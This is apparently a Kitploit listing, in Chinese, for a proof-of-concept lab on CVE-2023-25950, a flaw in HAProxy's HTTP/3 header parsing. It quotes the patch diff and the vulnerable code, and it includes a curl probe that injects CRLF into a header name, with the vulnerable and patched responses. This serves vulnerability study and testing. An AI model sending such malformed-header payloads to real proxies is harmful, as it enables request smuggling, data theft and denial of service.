Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HTTP3ONSTEROIDS — PoC 和实验室环境,针对 CVE-2023-25950:通过 HAProxy HTTP/3 实现中的畸形头部字段进行 HTTP 请求走私,可导致拒绝服务与数据窃取。 | Kitploit
工具/GitHubGitHub/dhmosfunk/http3onsteroids
漏洞分析Web应用程序漏洞利用学习与教育实验室与实践
GitHubdhmosfunk/http3onsteroids

HTTP3ONSTEROIDS

PoC 和实验室环境,针对 CVE-2023-25950:通过 HAProxy HTTP/3 实现中的畸形头部字段进行 HTTP 请求走私,可导致拒绝服务与数据窃取。

查看仓库
11221年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

目录

  • 漏洞描述
    • 源码审查
  • 实验环境搭建
    • 识别问题
  • 参考

漏洞描述

HAProxy 的 HTTP/3 实现未能阻止格式错误的 HTTP 头部字段名,并且当部署在错误处理此格式错误头部的前端服务器之前时,可能被用于发起 HTTP 请求/响应走私攻击。远程攻击者可能篡改合法用户的请求。因此,攻击者可能获取敏感信息或造成拒绝服务 (DoS) 状况。

https://jvn.jp/en/jp/JVN38170084/

源码审查

在开始任何 CVE 研究之前,一个非常好的方法是先阅读漏洞描述,然后检查补丁提交是否可用。
就我而言,补丁提交是可用的,很明显 HAProxy 的开发人员在 HTTP3 实现 中对标准头部的解析过程中忘记了包含 RFC 9114 4.1.2. 格式错误的请求和响应 检查。

请参考下面的补丁提交。

root@kitploit:~
--- a/src/h3.c
+++ b/src/h3.c
@@ -352,7 +352,27 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
        //struct ist scheme = IST_NULL, authority = IST_NULL;
        struct ist authority = IST_NULL;
        int hdr_idx, ret;
-       int cookie = -1, last_cookie = -1;
+       int cookie = -1, last_cookie = -1, i;
+
+       /* RFC 9114 4.1.2. Malformed Requests and Responses
+        *
+        * A malformed request or response is one that is an otherwise valid
+        * sequence of frames but is invalid due to:
+        * - the presence of prohibited fields or pseudo-header fields,
+        * - the absence of mandatory pseudo-header fields,
+        * - invalid values for pseudo-header fields,
+        * - pseudo-header fields after fields,
+        * - an invalid sequence of HTTP messages,
+        * - the inclusion of uppercase field names, or
+        * - the inclusion of invalid characters in field names or values.
+        *
+        * [...]
+        *
+        * Intermediaries that process HTTP requests or responses (i.e., any
+        * intermediary not acting as a tunnel) MUST NOT forward a malformed
+        * request or response. Malformed requests or responses that are
+        * detected MUST be treated as a stream error of type H3_MESSAGE_ERROR.
+        */
 
        TRACE_ENTER(H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
 
@@ -416,6 +436,14 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
                if (isteq(list[hdr_idx].n, ist("")))
                        break;
 
+               for (i = 0; i < list[hdr_idx].n.len; ++i) {
+                       const char c = list[hdr_idx].n.ptr[i];
+                       if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
+                               TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
+                               return -1;
+                       }
+               }
+
                if (isteq(list[hdr_idx].n, ist("cookie"))) {
                        http_cookie_register(list, hdr_idx, &cookie, &last_cookie);
                        continue;

仓库 - haproxy-2.7.git/commit

下面,你可以找到展示在 HAProxy 2.7.0 处理标准头部实现中缺少头部名称清理的代码。

root@kitploit:~
/* 
src/h3.c 
lines: 413 - 428
*/

/* now treat standard headers */
hdr_idx = 0;
while (1) {
    if (isteq(list[hdr_idx].n, ist("")))
        break;
    if (isteq(list[hdr_idx].n, ist("cookie"))) {
        http_cookie_register(list, hdr_idx, & cookie, & last_cookie);
        continue;
    }
    if (!istmatch(list[hdr_idx].n, ist(":")))
        htx_add_header(htx, list[hdr_idx].n, list[hdr_idx].v);
    ++hdr_idx;
}

下面,你可以找到用于检查头部名称是否有效的代码。

代码以一个 for 循环开始,遍历头部字段名的每个字符。循环从 i = 0 运行到 i < list[hdr_idx0.n.len],其中 list 是一个包含头部信息的数组或结构体,hdr_idx 是一个索引,表示正在检查的具体头部。
在循环内部,代码从头部字段名中提取当前字符 c。 list[hdr_idx].n.ptr[i] 访问头部字段名在第 i 个位置的字符。 代码的下一部分包含一个 if 语句。它检查当前字符 c 是否满足以下两个条件之一:

  • (uint8_t)(c - 'A') < 'Z' - 'A':这通过从 c 中减去 'A' 并将结果转换为 uint8_t 来检查字符是否为大写字母(A 到 Z)。如果结果小于 'Z' 和 'A' 之间的差值,则该字符是大写字母。
  • !HTTP_IS_TOKEN(c):此条件检查字符是否为有效的 HTTP 令牌字符。HTTP_IS_TOKEN 的工作原理是首先检查头部名称是否包含任何令牌。令牌是一系列字符,不是 HTTP 协议中的保留字符。保留字符是在 HTTP 协议中具有特殊含义的字符,例如 :、/、? 和 #。
root@kitploit:~
/* 
src/h3.c 
lines: 439 - 445
*/
for (i = 0; i < list[hdr_idx].n.len; ++i) {
    const char c = list[hdr_idx].n.ptr[i];
    if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
        TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME | H3_EV_RX_HDR, qcs -> qcc -> conn, qcs);
        return -1;
    }
}

实验环境搭建

整个实验运行在 Docker 上。你可以使用以下命令运行实验:

  1. cd /lab
  2. docker-compose up --build

请注意,Docker 构建需要 15-20 分钟才能完成。
但是,在运行实验之前,你必须进行一些配置更改:

/lab/haproxy/conf/haproxy.cfg

root@kitploit:~
...
default_backend api_server

backend api_server
  balance roundrobin
  server api_server [YOUR-LOCAL-IPv4]:8080 # replace with local IPv4

/etc/hosts

root@kitploit:~
[YOUR-LOCAL-IPv4]   foo.com

/lab/docker-compose.yml
你可以通过将参数的值更改为 'vuln' 或 'patched' 来选择易受攻击的版本或已修补的版本,以便对其进行测试。

root@kitploit:~
...
    args:
        - haproxy_version=patched || vuln
...

最后,将 minica.crt 证书导入你的浏览器。

⚠️ 请在 Linux 环境中运行实验。

识别问题

发送以下 curl 请求:

  • curl --http3 -H "foooooo\r\n: barr" -iL -k https://192.168.1.104/

易受攻击版本的响应:

root@kitploit:~
HTTP/3 200 
server: Werkzeug/2.3.6 Python/3.8.17  
date: Sat, 12 Aug 2023 13:10:52 GMT   
content-type: text/html; charset=utf-8
content-length: 76
alt-svc: h3=":443";ma=900;

Host: 192.168.1.104
User-Agent: curl/8.1.2-DEV
Accept: */*
Foooooo\R\N: barr <-- Malformed header

已修补版本的响应:

root@kitploit:~
curl: (56) HTTP/3 stream 0 reset by server

基于上述发现,相应的响应表明易受攻击版本的 HAProxy 允许 \r\n 前缀传递到后端服务器,而已修补版本则断开了客户端与 HAProxy 之间的连接。


攻击者可以根据后端行为以及后端服务器如何处理格式错误的头部来发起 HTTP 请求走私攻击。在我看来,最令人担忧的是攻击者可以利用上述 CVE 进行拒绝服务 (DoS) 攻击。

参考:

https://jvn.jp/en/jp/JVN38170084/
https://github.com/haproxytechblog/haproxy-2.6-http3
https://www.haproxy.com/blog/how-to-enable-quic-load-balancing-on-haproxy
https://git.haproxy.org/
https://github.com/jsha/minica
https://curl.se/docs/http3.html

下载工具